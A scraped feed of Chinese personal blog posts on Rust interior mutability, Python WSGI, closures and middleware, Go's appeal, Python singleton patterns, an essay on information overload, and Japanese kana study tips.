Scope 就会使 a 的所有权被移交,且在执行完毕之后被 Drop。最后还有一点,Cell<T> 只能在单线程的情况下使用。 RefCell<T> 因为 Cell<T> 对 T 的限制:只能作用于实现了 Copy 的类型,所以应用场景依旧有限(安全的代价)。但是我如果就是想让任何一个 T 都可以塞进去该咋整呢?RefCell<T> 去掉了对 T 的限制,但是别忘了要牢记初心,不忘继续践行 Rust 的内存安全的使命,既然不能在读写数据时简单的 Copy 出来进去了,该咋保证内存安全呢?相对于标准情况的静态借用,RefCell<T> 实现了运行时借用,这个借用是临时的,而且 Rust 的 Runtime 也会随时紧盯 RefCell<T> 的借用行为:同时只能有一个可变借用存在,否则直接 Painc。也就是说 RefCell<T> 不会像常规时一样在编译阶段检查引用借用的安全性,而是在程序运行时动态的检查,从而提供在不安全的行为下出现一定的安全场景的可行性。 use std::cell::RefCell; use std::thread; fn main() { thread::spawn(move || { let c = RefCell::new(5); let m = c.borrow(); let b = c.borrow_mut(); }).join(); // Error: thread '<unnamed>' panicked at 'already borrowed: BorrowMutError' } 如上程序所示,如同一个读写锁应该存在的情景一样,直接进行读后写是不安全的,所以 borrow 过后 borrow_mut 会导致程序 Panic。同样,ReCell<T> 也只能在单线程中使用。 如果你要实现的代码很难满足 Rust 的编译检查,不妨考虑使用 Cell<T> 或 RefCell<T>,它们在最大程度上以安全的方式给了你些许自由,但别忘了时刻警醒自己自由的代价是什么,也许获得喘息的下一秒,一个可怕的 Panic 就来到了你身边! 组合使用 如果遇到要实现一个同时存在多个不同所有者,但每个所有者又可以随时修改其内容,且这个内容类型 T 没有实现 Copy 的情况该怎么办?使用 Rc<T> 可以满足第一个要求,但是由于其是不可变的,要修改内容并不可能;使用 Cell<T> 直接死在了 T 没有实现 Copy 上;使用 RefCell<T> 由于无法满足多个不同所有者的存在,也无法实施。可以看到各个智能指针可以解决其中一个问题,既然如此,为何我们不把 Rc<T> 与 RefCell<T> 组合起来使用呢? use std::rc::Rc; use std::cell::RefCell; fn main() { let shared_vec: Rc<RefCell<_>> = Rc::new(RefCell::new(Vec::new())); // Output: [] println!("{:?}", shared_vec.borrow()); { let b = Rc::clone(&shared_vec); b.borrow_mut().push(1); b.borrow_mut().push(2); } shared_vec.borrow_mut().push(3); // Output: [1, 2, 3] println!("{:?}", shared_vec.borrow()); } 通过 Rc<T> 保证了多所有权,而通过 RefCell<T> 则保证了内部数据的可变性。 参考 Wrapper Types in Rust: Choosing Your Guarantees 内部可变性模式 如何理解Rust中的可变与不可变? Rust 常见问题解答

2020/1/17
articleCard.readMore

Python WSGI 简析

近期给自己挖了个新坑,打算着手写一个 Python Web 框架,名字叫做 dopamine。谈及 Python Web 框架,自然而然也就提到了 WSGI,于是在此写一篇博客,当作完成整个项目过程中的知识整理和学习。 何为 WSGI WSGI 全称 Python Web Server Gateway Interface,最早在 2003 年提出于 PEP 333 中,之后为了适应 Python 3 的一些变化,又在 PEP 3333 中做出了一些调整和修订,现行 WSGI 的版本号为 v1.0.1。 WSGI 被提出的背景,源于其诞生前市面上主流的 Python Web 程序(或者说框架)缺乏统一的设计,导致每个 Web 应用都拥有过于 Specialization 的特性,适用的服务器场景往往有所限制。为了提高 Python Web 应用开发的可移植性和统一设计标准,WSGI 孕育而生,其主要将一次 HTTP 请求的处理过程分为两个部分,并在这两个部分间设计了一套交互/通信标准。 The Server/Gateway Side 服务器/网关 The Application/Framework Side 应用程序/框架 服务器率先收到一次请求后,会对请求的信息进行处理,为应用程序提供环境信息和一个可供调用的回调函数(Callback Function)。当应用程序收到服务器发来的环境信息和回调函数后,会对请求进行实际的业务侧处理,实现具体的处理逻辑(比如说处理一次前端发来的登录账号密码验证),并透过前述的回调函数,将结果回传给服务器。WSGI 还设计了介于两者之间中间件 Middleware 的行为,但作为简析,就不放在本文的讨论范围了(其实是因为我还没怎么研究这块)。 区别于网上的一些教程和比较程式化的 PEP 内容,接下来我希望从一次完整的 HTTP 请求处理过程出发,来简单分析 WSGI 在其中扮演的角色,讲一下我自己的理解。 服务器/网关 一次 HTTP 请求通过 TCP 到达了服务器,此时服务器使用 Socket 读到了该次 HTTP 的请求内容,并进行了解析,将相应的环境信息,例如此次 HTTP 请求的 Headers 内容和远端 TCP 连接的信息,存储到变量 env 中去,然后实现一个供应用程序/框架调用的回调函数 start_response,下面用一段伪代码来模拟这个过程。 # -*- WSGI 服务器伪代码 server.py -*- from my_web_app import application # 读取 HTTP 请求进行环境信息获取 env = parse_http_request(socket.out) headers = [] # 回调函数需要接受至少两个参数,至多三个参数,稍后阐述不同参数的具体意义 def start_response(status, response_headers, exc_info=None): if exc_info: try: if something_wrong: raise exc_info[1].with_traceback(exc_info[2]) finally: exc_info = None headers[:] = [status, response_headers] # application 是我们稍后要定义的应用程序,result 即为 HTTP 请求的具体相应结果 result = application(env, start_response) socket.write(headers) # result 必须为一个可迭代对象,存储着用于返回的 Body 数据 for data in result: socket.write(data) 整个过程中,服务器端要做的主要有四件事情 处理客户端发来的 HTTP 请求,获取相关环境信息 实现供应用程序使用的回调函数 调用应用程序实现的 WSGI 接口,此时将环境信息和回调函数一同作为调用参数传入 将应用程序返回的内容 headers 和 result 作为 HTTP 请求的响应回传给客户端 实现回调函数的时候,我们一共定义了三个参数 status,response_headers 以及 exc_info,它们的具体内容和意义如下: status HTTP 相应的状态参数,形如 '404 Not Found' 的字符串 response_headers HTTP 的响应头,形如 [('Content-Type', 'text/html')] 的二元组列表,对应着 Headers 中的相应字段及其值 exc_info 错误处理信息,用于应用程序返回给服务端进行错误处理 以上为服务器端在 WSGI 中扮演的主要责任和义务,为了主要描述底层思想,我通过伪代码进行了行为过程的表达,因而屏蔽了一些细节,诸如 HTTP 写回内容必须为 ISO-8859-1 编码等要求,如果你想自己实现一个 WSGI 服务器,详细请参考 PEP 3333 中的服务器部分介绍。 应用程序/框架 由于 Python Web 框架的主要目的是为了构建 Python Web 程序,所以接下来我仅使用“应用程序”来作为这一部分的名称。 对比服务器端,应用程序要实现 WSGI 接口要做的事情可以说非常少,只需要实现一个可供服务器端调用的函数,类,甚至只要是一个拥有 __call__ 方法的对象即可。由于前文的 server.py 伪代码中我使用了 application 这个名字,所以在此沿用,以保持上下文的统一。 # -*- WSGI 应用程序伪代码 my_web_app.py -*- def application(env, start_response): status = '200 OK' response_headers = [('Content-Type', 'text/plain')] start_response(status, response_headers) return [b'Hello, world!'] Well,实际上我们已经完成了一个符合 WSGI 规定的应用程序,它满足了所有作为一个 WSGI 应用的要素: 可供调用 接受两个参数 返回一个可迭代的对象,其中存储着返回的 HTTP Body 内容 这个例子可能过于简单了,但是用于展示其底层设计思想是极有帮助的。但为了进一步帮助理解,我们还是再实现一个不太一样的,但依旧满足 WSGI 设计标准的应用程序。 # -*- WSGI 应用程序伪代码 my_web_app.py -*- class application(): def __init__(self, env, start_response): self.env = env self.start = start_response def __iter__(self): status = '200 OK' response_headers = [('Content-type’, ‘text/plain')] self.start(status, response_headers) yield b'Hello,' yield b' world!' 这次我们实现了一个类,同样在初始化的时候接受两个参数,并作为一个可迭代对象,通过 yield 作为生成器供服务器进行迭代返回数据,而不是 return 一个 list。 一些补充说明 首先,虽然 WSGI 在设计时分为了两大部分,服务端和应用程序,但这一划分其实是基于概念上,大部分时候也许并不意味着我们需要编写两个独立运行的 Python 程序,一个作为服务端,一个作为应用端。从上面的例子我们其实可以看出这两部分的代码其实关系十分紧密,甚至就是同一个程序的不同模块负责不同功能的区别,只是这两个功能上有区别的概念间约定了相应的标准,允许我们组合不同的模块来写出可移植性高,通用程度更强的代码来。 落回实际,如果看到这里你还是不太能理解 WSGI 所发挥的作用,不妨考虑这样一个问题,同一个物理服务器内,Nginx,WSGI 以及 Flask 应用程序之间有怎样的关系?我们也许可以通过这样一个过程来进行解答: Nginx 收到了一个请求,通过负载均衡和反向代理,将请求传给了 WSGI 服务器。 WSGI Server 收到请求内容,进行环境变量解析,传递和调用(其实这里已经到达了 Flask 手中,只不过是 Flask 框架底层的 WSGI Server 实现在进行处理)。 Flask 应用收到 WSGI 调用,开始处理请求。 WSGI Server 收到 Flask 应用的处理结果,并将其返回给 Nginx。 Nginx 收到最终结果,将其回传给客户端。

2019/12/28
articleCard.readMore

浅谈 Python 中的闭包与中间件封装

这两天看了一些中间件框架相关的代码,发现闭包的应用很多,由于之前对闭包这个概念似懂非懂,所以我借此机会学习了一番,然后把成果在此总结记录一下。 什么是闭包 闭包这个概念存在甚广,数学,拓扑学以及计算机科学中都有这个它的身影,虽然名称相同,但是在定义上还是有所区别。 在计算机科学中,闭包(英语:Closure),又称词法闭包(Lexical Closure)或函数闭包(function closures),是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在,即使已经离开了创造它的环境也不例外。所以,有另一种说法认为闭包是由函数和与其相关的引用环境组合而成的实体。 光听概念会有些抽象,我们来用 Python 一步一步举例说明何谓闭包。 变量作用域 且看下面这个代码,x 作为函数 a 的局部变量,在函数外部是无法访问的。x 的变量作用域现在仅限函数内部。 def a(): x = 1 # NameError: name 'x' is not defined print(x) 当一个变数被使用时,会遵循 LEGB 的规则,也就是 Local、Enclosing、Global 与 Builtins。 Local 很好理解,即作用于同一作用域的局部名称 Enclosing 即 Enclosing Scope,闭包中的主角,我们后文会解释 Global 全局名称 Builtins 内建,比如一些内建的函数 str() 那么什么是 Enclosing Scope?想要有 Enclosing Scope 首先都有 Scope 的存在,而函数就是创建 Scope 的方式。上方会报错的代码中,函数 a 的创建就产生了一个 Scope,而 x 就在这个 Scope 中。那么根据 LEGB 查询原则,我们可以构造以下的代码,来创建一种 Local 中没有查询到,需要到 Enclosing 中查询的情况。 def a(): x = 1 def b(): print(x) # Output: 1 a() # NameError: name 'x' is not defined print(x) 当我们在 b 函数内部使用 x 的时候,遵循 LEGB 原则,由于 Local 中没有找到名为 x 的变量,于是到 Enclosing 中寻找,即函数 a 所创建的 Scope 中去寻找,然后使用这个处于 b 函数外层的变量。然而如同上面的例子一样,随着 a 函数的运行结束,x 也随之消亡了,我们在外层使用 x 同样是行不通的。 那么有没有什么方法可以让我们脱离 a 函数本身的作用范围,即能不能在 a 函数结束运行之后让局部变量 x 还可以被访问得到呢?答案就是闭包。 闭包 我们修改上面的代码,得到如下的结果。 def a(): x = 1 def b(): print(x) return b test = a() test() # Output: 1 一般情况下,函数中的局部变量仅在函数的执行期间可用,一旦 a() 执行过后,我们会认为 x 变量将不再可用。然而真实情况是我们成功输出了 x 的值,即便此时 a 函数早已经执行结束————这种情况下便形成了一个闭包。 由于 a() 返回了 b,且 b 中使用了处于 a Scope 中的变量 x,于是 b 将 x 捕获,形成了闭包,此时 x 便是一个自由变量。再来回看闭包的定义: 闭包是引用了自由变量的函数。这个被引用的自由变量将和这个函数一同存在,即使已经离开了创造它的环境也不例外。所以,有另一种说法认为闭包是由函数和与其相关的引用环境组合而成的实体。 此时闭包的概念便明晰了,再用大白话讲一下便是:闭包是持有外部环境变量的函数。 闭包的一些细节 我们再来看几个例子,进一步展示 Python 中闭包的细节。 闭包无法“修改”自由变量 注意这个修改是打引号的,更准确的说法应该是闭包不能改变自由变量的地址。 def a(): x = 1 def b(): x = 2 print(x) print(x) b() print(x) return b test = a() test() 输出如下: # Output 1 # From the first print(x) inside a() 2 # From the print(x) inside b() which is called by a() 1 # From the second print(x) inside a() 2 # From the print(x) inside b() which is called by test() 可以看到 x = 2 只能在 b() 内部生效,而作为闭包一部分的自由变量 x 的值无论如何始终为 1,无法改变。然而自由变量的值真的无法改变吗?事实上,由于 int 类型在 Python 中为不可变类型,在 x = 2 这个表达中,解释器实质上只是把符号 x 重新分配给了内存中值为 2 的一个 PyObject,参与闭包形成的自由变量的地址依然为内存中值 1 的地址,所以在这个现象中无法改变闭包的值实质上源自 Python 本身的特性,而非闭包之机制。对于字典以及数组这类可变类型,是可以对自由变量值做出改变的。 def a(): x = [1] def b(): x.append(2) print(x) print(x) b() print(x) return b test = a() test() 输出如下: # Output [1] [1, 2] [1, 2] [1, 2, 2] 由此可以看出 Python 在内部实现闭包时,与嵌套函数所绑定的其实是自由变量的地址,我们是可以成功改变地址指向之内容的,而无法改变形成闭包变量地址之本身。 闭包与循环 再来看看闭包和循环之间搭配的一个例子。 func_list = [] for i in range(3): def a(): return i * 2 func_list.append(a) for f in func_list: print(f()) 在了解闭包概念后,直觉告诉我们这个例子的输出应该是 0, 2, 4,然而运行的实际结果却是 4, 4, 4。这是为什么?实际上,在之前解释闭包这个概念时我们说过,闭包中的自由变量来源必须是 Enclosing Scope 中的变量,而 Python 的中的循环并没有 Scope 这个概念: >>> for i in range(10): ... temp = i + 1 ... >>> temp 10 temp 是在循环中定义的变量,但实际上 Python 中的循环并不构成一个 Scope,所以实际上循环结束后我们依然可以访问 temp,自然而然这个值就是最后一次循环得到的结果。此时也就不难解释之前的代码为何输出了 4, 4, 4,由于 i 并不满足成为自由变量的资格(不存在 Scope),故在调用 f() 时我们拿到的 i 值始终为 2。要实现循环中的闭包,我们只需要再加一个函数,形成一个 Scope 就可以了。 func_list = [] for i in range(3): def a(x): def b(): return x * 2 return b func_list.append(a(i)) for f in func_list: print(f()) 此时的输出就变为了 0, 2, 4。 闭包的实战 为了展示闭包在实践中的运用,我封装了一个类似 Web Server 的 Server 模型,它主要有以下两个主要功能: 使用装饰器 @server.add_middleware 添加自定义中间件 使用装饰器 @server.add_func('core_func_name') 添加自定义核心件 在使用 Server.initilize() 进行封装初始化后,可以直接通过 Server.core_func_name() 来运行已经被所有自定义中间件包裹的自定义核心件。 在具体实现中,_load_middleware 这个方法通过循环和闭包把中间件一层一层包裹到核心件上去,最后返回最外层的入口。 代码的 Gist。 # 上下文类,本例中主要用于存储当前调用的下文,即内层中间件 class Context(): def __init__(self): self._next = [] @property def next(self): return self._next class Server(): def __init__(self): self._middlewares = [] # 所有添加中间件 self._funcs = {} # 所有添加的核心件 def add_middleware(self, middleware_func): self._middlewares.append(middleware_func) return middleware_func def add_func(self, name): def decorate(func): self._funcs.setdefault(name, func) return func return decorate def _load_middleware(self, ctx, func): def next(*args, **kwargs): return func(ctx, *args, **kwargs) for middleware in reversed(self._middlewares): # 使用闭包来封装中间件 def f(middleware=middleware, next=next): def new_next(*args, **kwargs): ctx._next = next return middleware(ctx, *args, **kwargs) new_next.__name__ = getattr(middleware, '__name__') return new_next next = f() return next def _wrap(self, func): def f(*args, **kwargs): ctx = Context() return self._load_middleware(ctx, func)(*args, **kwargs) return f def initilize(self): for name, func in self._funcs.items(): self.__setattr__(name, self._wrap(func)) server = Server() @server.add_middleware def the_first_middleware(ctx, *args, **kwargs): print("The first one") return ctx.next(*args, **kwargs) @server.add_middleware def the_second_middleware(ctx, *args, **kwargs): print("The second one") return ctx.next(*args, **kwargs) @server.add_middleware def the_last_middleware(ctx, *args, **kwargs): print("The last one") return ctx.next(*args, **kwargs) @server.add_func('core_func') def core_func(ctx, *args, **kwargs): return "The Core Function" server.initilize() print(server.core_func()) 最后的输出如下,我们可以看到在调用核心函数的同时,中间件已经被自动的执行了。 The first one The second one The last one The Core Function

2019/10/22
articleCard.readMore

我为什么要把 Go 作为主力语言

让我开始学习 Go 的有两个主要原因,一是我不求甚解浅尝辄止的「表面学习」热情最近又开始萌动,二是公司的业务需要,两者刚好结合,是一个学习新技术并提高自己的好契机。这不学不要紧,一展开对 Go 的了解,我便狠狠地喜欢上了这门语言(可能和一见钟情的感觉类似)。也出于此,我想写一篇博客来谈一谈我在与 Go 接触的第一印象中,到底是什么吸引住了我,以至于我想要把 Go 从今往后作为自己的主力语言。 在写下本文之前,我虽然对自己的技术栈没有什么明确的定位,但是非要挑一门我的主力语言的话,那应该是 Python。谈及原因,倒不是因为我对 Python 情有独钟(不过也不能排除这一层原因),但毕竟我写过的大多数项目都是围绕 Web 展开的 Python 开发,所以勉强能拿得出手的也只有这样了。 不过近些年来,有关注相关相关领域的同学可以看到许多公司都在用 Go 重构自己的代码,例如知乎,例如 Salesforce,不幸的是,故事中被重构的对象往往都是 Python,诚然动态语言的特性让快速开发成为可能,但凡是硬币都有两面,Everything costs,随着时间的流逝,Python 在大型项目上产生的性能开销已经成为一个不可忽视的问题,以及动态类型带来一些开发隐患在大型项目中变得更具风险,Python 也在尝试引入类似函数参数类型申明的语言特性,以及 mypy 这样的类型检查工具来规避这些风险,但毕竟这些都是一种后期的补偿,类似 patch 一样的在给语言的使用做加法,并未改变语言本身,以及 Python 还有形如多线程性能差这样较难解决的问题存在,遇到这些问题并被困扰的人们很难不会这么想:那么有没有一门既有动态语言的特性,又能在运行时有良好性能,甚至拥有很好的多线程表现的语言存在呢?结果我认为是肯定的,这门语言就是 Go。(Python 并不是不好,但任何事物都有缺点,希望各位 Python 的忠实拥簇能先坐下,把手里的砖放好) 如 Guillaume Le Stum 所言: The reality of enterprise software is that you spend a lot more time reading code than writing it. We appreciated that Go makes the code easy to understand. In Python, you could write super elegant list comprehensions and beautiful code that’s almost mathematical. But if you didn’t write the code, then that elegance can come at the expense of readability. 所以第一个要提到的便是 Go 的语法设计非常简洁,一共只有 25 个关键字,虽然没有类的存在,但是 Go 通过 Interface 实现了抽象程序行为的特性,其思想有点类似多态的概念,使用起来也十分的灵活。 // io 标准库中对 Reader 和 Closer 的接口定义,代表了任意能读取 bytes 和关闭的类型 package io type Reader interface { Read(p []byte) (n int, err error) } type Closer interface { Close() error } 尽管 Go 是一门静态的强类型编译语言,但是 Go 也提供了一些类似动态语言的特性。例如使用类型推导来减少代码的工作量。(并不是偷懒) // 显示的声明一个 int 变量 var a int // 使用类型推导声明一个 int 变量 b := 0 通过切片来实现动态数组的一些特性,语法和 Python 有类似。 // 声明并初始化一个数组 months := [...]string{1: "January", /* ... */, 12: "December"} // 创建两个切片 Slice Q2 := months[4:7] summer := months[6:9] fmt.Println(Q2) // ["April" "May" "June"] fmt.Println(summer) // ["June" "July" "August"] Go 语言还提供了一种名叫反射的机制,能够在运行时更新变量和检查它们的值、调用它们的方法和它们支持的内在操作,而不需要在编译时就知道这些变量的具体类型。同时,反射也可以让我们将类型本身作为第一类的值类型处理。反射的存在增强了 Go 的表达力,例如标准库中的 fmt 包提供的字符串格式功能便是使用了反射机制,它可以用来对任意类型的值格式化并打印,当然,任意类型包括了程序员可能自己定义的类型。 Python 被广为诟病一点便是 GIL 全局解释器锁,尽管不能把所有的并发问题都归咎于它,但它的存在让程序无法利用起机器的多核优势,总归是让人有点不爽。Go 语言中的并发程序有两大法宝。即 goroutine 和 channel,其基于一种名为「顺序通信进程 Communicating Sequential Processes 」的现代并发编程模型而来,在这种编程模型中值会在不同的运行实例 goroutine 中通过 channel 来传递。 func main() { conn, err := net.Dial("tcp", "localhost:8000") if err != nil { log.Fatal(err) } done := make(chan struct{}) // 使用 go 关键字和匿名函数快速开启一个 goroutine go func() { io.Copy(os.Stdout, conn) log.Println("done") done <- struct{}{} // 把结果传回主进程 }() mustCopy(conn, os.Stdin) conn.Close() <-done // 主进程在收到值前会保持阻塞 } 最后需要再次强调,Go 是一门静态的强类型编译语言,这也注定了其性能和效率非 Python 这样的解释型语言所能比拟。Python 非常适合敏捷开发,即快速写出具有许多高级功能的程序,但并不总是能够提供大型项目所需的高性能。而 C 可以创建高性能的可执行文件,但是添加功能会花费更多时间。Go 被称为 21 世纪的 C 语言,不得不说其确实具有一定两全其美的特性。 我前几天在公司的日报里写了这么一段话: Go 让我觉得它是一种「有着动态语言感觉的静态语言」。加上之前写 Python 的经历,我对 Go 有一种莫名的好感,设计和功能上既有足够的灵活性(channel、slice、struct、interface 以及大名鼎鼎的 goroutine),又有静态语言的安全感,不用担心类似动态语言那种防不胜防的各种类型错误,所以比起 Python 的 error 我更喜欢看到 Go 的 painc(当然,线上环境除外)。 这大致就是 Go 相较于 Python 给我的感受。虽然我也是才开始接触 Go,上文所提也仅是 Go 语言特性的冰山一角,还有许多诸如数据类型、包管理和方法等语言特性还未涉及,但我相信这些灵活好用的特性足以支撑起我成为 Go 拥簇的选择,希望 Go 能够日益完善的发展下去,我也能伴随着 Go 的进化一同成长成为一个合格的 Gopher。

2019/10/13
articleCard.readMore

Python 中单例模式的实现

今天面试的时候,面试官问我了一个问题:Python 如何实现单例模式?说起来「单例模式」这个词我倒并不陌生,但从来没有实际的上手实现过,当时只在面试官的提示下写出了伪代码和思路,现在来这复盘,认真看看所有可行的实现方式。 单例模式是一个在软件设计中很常见的概念,即单例模式的类只能至多拥有一个实例。具体的应用场景可以考虑一个服务器中的 logger,且是一个在很多地方我们都会用到的同一个 logger,如果每次调用时我们都实例化一个新的,无疑是对服务器资源的浪费。这时候就可以用到单例模式,将 looger 变成一个无论多少次实例化,都只会拥有一个实例的类。 在 Python 中主要有这三个实现方式: 改写 __new__ 使用装饰器 decorator 使用元类 meteclass 换个思路:模块 改写 __new__ 这是比较符合直觉的一个方法之一,在类生成实例的时候,__init__ 之前首先被调用的是 __new__,所以我们可以在类中引入一个变量来存储第一次实例化过后的实例对象,之后的每一个实例都指向它。 class Logger(object): __instance = None # 用于存储实例对象的类变量 def __new__(cls, *args, **kwargs): if cls.__instance is None: # 调用父类的 __new__ 方法 cls.__instance = super(Logger, cls).__new__(cls, *args, **kwargs) return cls.__instance logger_1 = Logger() logger_2 = Logger() print(logger_1 is logger_2) # True 使用装饰器 decorator 同样,使用装饰器也是一个比较显而易见的办法(然而面试时却没有想到,呵呵),在装饰器中使用一个私有的字典来存储被装饰类已经实例化的第一个对象。 from functools import wraps def singleton(cls): __instances = {} @wraps(cls) def wrapper(*args, **kwargs): if cls not in __instances: __instances[cls] = cls(*args, **kwargs) return __instances[cls] return wrapper @singleton class Logger(object): pass 使用元类 meteclass 类的创建可以由更底层的元类来控制,所以使用元类也可以达到我们的目的,基本思路也跟之前相同。 class Singleton(type): __instances = {} def __call__(cls, *args, **kwargs): if cls not in cls._instances: cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) return cls._instances[cls] class Logger(metaclass=Singleton): pass 换个角度:模块 除了这些比较符合直觉的做法,还有没有什么更巧妙的办法?实际上模块在 Python 的解释运行中就有单例模式的影子。在第一次运行过后,模块的 .py 文件会被解释器生成一份 .pyc 文件,包含了编译过后生成的字节码,以期提高再次运行时的效率,也是如此,我们若是在一个模块中定义了我们的 logger,就可以在一次编译后直接获得一个单例类。 # logger.py class Logger(object): pass my_logger = Logger() # mian.py from logger import my_logger

2019/9/9
articleCard.readMore

信息时代的「真实」

最近信息世界的纷乱,让人十分的头疼。 前些天因为一些言论,我的几乎所有微博都被强制设成了仅自己可见。虽然目前还能正常的写微博和发表评论,但我已经对「在公众领域表达观点」这件事感到十分疲惫。之所以还愿意在博客上写点什么,可能是因为这里还算是互联网领域难得的清净之所,毕竟没什么人关注,用来自说自话也是极好的。 在微博和 Twitter 这两个比较有代表的舆论聚集领域,我每天都能看到各种各样的信息,见到各种各样的观点。万千年的自然选择造就了生物这样一个特性——信息对大脑是一种奖励,换而言之大脑总是在不停告诉你:越多的信息是越好的。毋庸置疑这在遥远的上古时代,对与大自然搏斗谋求生存的人类祖先来说,知道的越多,也就意味着生存繁衍的几率越大。然而这一条看起来绝对正确的客观准则在现今的信息世界里,却好像成为了一种谬误,看的越多,我却越感到迷惑,感到如此的 not good:同一事件有如此之多截然不同的说法,同一事件又会有如此之多截然不同的观点,同一事件让如此之多素不相识的人彼此诅咒仇恨谩骂,同一事件又让以往看起来相同的人变得完全对立,不可调和。 思忖良久,我终究得出了这样一个结论。之前说越多的信息是越好的,实际上「好」这个标签只属于那些真实的信息。然而这个信息时代最匮乏的可能就是真实,我们每天接触的不过是可能包含了「真实」的噪音。当意图挟持了真实,挟持了客观,其传达的可能只有罪恶。 由于某些无形而不可言说的客观存在,对中文社会的大多数人来说谋求信息的真实和自由永远是奢望,甚至连奢望这个词都很不恰当,因为大多人数人甚至都不存在这一份奢望。然而每一个人即便突破了这些无形而不可言说的客观存在,却总会被更高更大的存在阻挡住脚步,大到无法瓦解——毕竟没有人能瓦解人性,拆掉自己内心的围墙。

2019/8/16
articleCard.readMore

有关日语五十音的一些学习技巧

下周要赴日旅游,于是以此为动力勉强开始已经搁置许久的日语学习工作。这期间遇到了许多问题,也由此多少积攒了一点经验,故作此文作为记录。更甚一点讲,如果此文能对其他人有所启发和帮助,那是最好的 :)。 作为开始一切的基础,五十音于日语,犹如拼音如汉语,掌握了它才能掌握日语的听说读写,说它比汉语中的拼音还重要也不算为过。不过也是这五十音,成为了劝退许多日语学习者(包括曾今的我)的第一座小山。之所以说是小山,是因为只要花并不多的专注时间,拿下它并非难事。从开始背第一个元音「あ」到最后把所有的平假名、片假名、浊音和拗音背会,我一共用了4天时间。仅仅针对背诵五十音来说,这可以说是很小的时间成本了。 相关五十音的基础知识网上一搜一大把,我不在此赘述。在了解基本的日语背景知识后再读此文,效果更佳。 一些辅助工具 手机 App 必然是背诵五十音辅助工具的第一选择。在经过一番下载和试用后,我目前推荐这三个应用:五十音起源,MOJi 辭典和多邻国。由于我用的是 iOS,所以以下均为 App Store 链接。 五十音起源 小巧,精致以及「术业有专攻类」应用的典范,提供了基础的五十音查找、背诵以及复习功能,还有其他一些日语数字、日期翻译功能。界面做的好看是一方面,最重要的是开发者还提供了对应每一个假名的中文草书与楷书字源。由于日语与汉字密不可分的渊源,学习假名天生对中文母语者自带友好度————结合汉字的形与音做一些类比和联想,是记忆假名不可或缺的一个技巧。具体一些的内容会在后文详述。 MOJi 辭典 现代日语由平假名,片假名以及日语汉字三个部分组成。有时即便你认识其中的中文汉字,你也未必知道其假名拼法,反之亦然。所以为了能快速查找平假名,片假名以及汉字三者之间的对照转换,比起普通的翻译软件,MOJi 辭典提供了任何一个日语字词的假名拼写,读音以及相关例句,并且内置了搜索引擎,可以扩大更深的搜索范围。主界面犹如一个单词本,记录了你所有查过的单词以及频率,方便你及时回顾,非常的好用。 多邻国 加深记忆最直接有效的一个方式就是不停地进行重复,比起对着干巴巴的五十音生记,多邻国可以帮助你用卡片+提示的形式反复巩固假名和罗马音,词组与假名之间的联系,来达到加深记忆的目的。整个过程只需要跟着应用安排的课程和等级循序渐进,就可以建立比较牢靠的假名记忆,算是比较傻瓜式的学习方法。 我个人的假名背诵流程是这样:先在五十音起源里面用自带的背诵功能进行学习,它会先给你假名的罗马音读音和相应的字源,然后让你在四个选项里面选择正确的对应,基本上一轮下来能记个大概。在你觉得记得差不多能有个基本印象的时候,再到多邻国里面的假名关卡进行卡片答题,也都是相对应的互选,其中会穿插一些基本词汇辅助你记忆假名,例如あか(红色)、しろ(白色)、いち(一)、に(二)等等。就这样反复进行,在你记得比较熟练的时候,就可以没事干打开五十音起源随便选择一行进行复习,如此反复进行,五十音就背完了。 背诵技巧 あ和安,か和加,セ和世,タ和多,モ和毛,ぬ和奴,れ和礼,ハ和八,ビ和比等,这些字形字音都和其汉字来源很相近的假名用联想记忆很快就能记住,然后以 a i u e o 的元音顺序对应展开其每一行,可以辅助你建立对五十音最初记忆的一个轮廓。 再单独说说片假名。由于片假名多用于表示外来词汇,这也对英语使用者来说又是一个福音,这意味着你可以通过片假名的读音大概率猜到这是什么英文词汇,也就知道了意思。那么,如果你顺利的背完了片假名想找点单词进行快速的辅助记忆,最方便的一个选择可能就是把你的手机系统语言改成日语了。改成日语后再打开手机的设置应用,你就会发现一个包含大量片假名词汇并且你也知道之前这些都是什么意思的语言学习天堂。以 iOS 为例,中文设置中会有一个「声音与触感」选项,换成日语后就相应的变成了「サウンドと触感」,「と」是「和」的意思,「サウンド」一听可知就是英语 sound 发音的假名转化。类似的还有「オフ」和「オン」,即 off 和 on。我们再来看这样一个句子:米津玄师のニューシングル。翻译过来即是:米津玄师的新(new)单曲(single)。通过这样的方法可以快速巩固片假名及其发音,顺道也能结合以往的英语学习经验积攒一些片假名词汇。 一些注意事项 片假名和平假名同步进行 两种假名都同等的重要,最好每个发音对应的平假片假一同记忆,个人感觉效果可能要比单独记完平假再记片假要高效一些。 背会清音后,浊音和拗音并不需要死记硬背 有的同学看到一大把的清音之后还有一把的浊音和拗音,难免心生畏惧。其实浊音和拗音并不需要特殊记忆,完全可以化之为一些方法论来活用。先说浊音,字形上无非是在假名的右上角按了两个点和一个圈,且之所以为浊音,是在清音的发音基础上进行了浊化。以か行为例,k 的声母发音浊化之后可以很自然的转化到 g,か也就变成了が,后面同理类推,无需背诵也就记下来了。 至于说拗音,你可以发现拗音均为五十音中的い段(包括浊音)和や行的组合,发音时可以视为吞掉了元音 i 的连读,「东京」即为一个包含拗音的单词「とうきょう」,在书写时よ需要小写以表示这是一个拗音。 发音需要理论与模仿相结合 即便是有各类应用的发音辅助,中文母语学习者难免会以拼音的读法来模仿发音假名,以う段为例,这应该是和中文发音方式最大的一个元音了,中文的 u 音需要嘴唇前突进行发音,音如「巫」,而日语不然,需要两唇几乎不突出的发音。在此基础上,来看ふ这个平假,罗马音 fu,许多人可能会按中文中的「夫」来发音,而正确做法是先做出不突出双唇的う口型,然后不用嗓子发音,用呼出的气息摩擦嘴唇,你就可以听到正确的ふ音了。综上所述,作为一个不同母语的学习者,发音不仅需要听音模仿,也要关注理论,方可习得正确的日语发音。此述也仅是日语发音理论的一角,还有长音,促音等需要学习,所以找一个合适的日语教材也是一个很重要的事情哦。 未完待续 本人还在学习中,今后还有什么的话,再补充吧。

2019/7/28
articleCard.readMore

我觉得《流浪地球》一点也不好看

